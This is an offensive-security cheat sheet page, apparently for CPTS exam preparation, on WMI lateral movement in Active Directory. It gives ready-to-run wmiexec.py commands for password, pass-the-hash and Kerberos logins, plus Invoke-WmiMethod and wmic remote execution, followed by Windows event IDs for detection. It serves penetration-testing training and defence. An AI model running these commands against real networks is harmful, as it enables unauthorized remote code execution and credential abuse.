AD^:Active Directory

Attack #58 — WMI Lateral Movement

WMI (Windows Management Instrumentation) enables remote process execution via the Win32_Process.Create() method. WMI-based execution is the stealthiest…

advancedupdated 2026-08-10Impacket · PowerShell

⚫ Attack #58 — WMI Lateral Movement


📖 How It Works

WMI (Windows Management Instrumentation) enables remote process execution via the Win32_Process.Create() method. WMI-based execution is the stealthiest Impacket execution method — it doesn’t create services, doesn’t write files to disk, and runs commands in the context of the authenticated user (not SYSTEM).


⚙️ Prerequisites

RequirementDetail
Local admin on targetRequired for WMI access
WMI / DCOM portsTCP 135 + dynamic RPC

💻 Full Commands

# ── Impacket wmiexec.py (best stealth) ────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10

# ── PtH ───────────────────────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe

# ── Kerberos ──────────────────────────────────────────────────────────────────
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── Single command ────────────────────────────────────────────────────────────
wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "ipconfig /all"
# ── Native PowerShell / wmic ──────────────────────────────────────────────────
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\out.txt" -ComputerName TARGET
wmic /node:TARGET process call create "cmd.exe /c whoami > C:\Temp\out.txt"

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogLogon Type 3 via WMI
4688Security Logcmd.exe spawned by WmiPrvSE.exe

✅ Attack #58 — WMI Lateral Movement complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.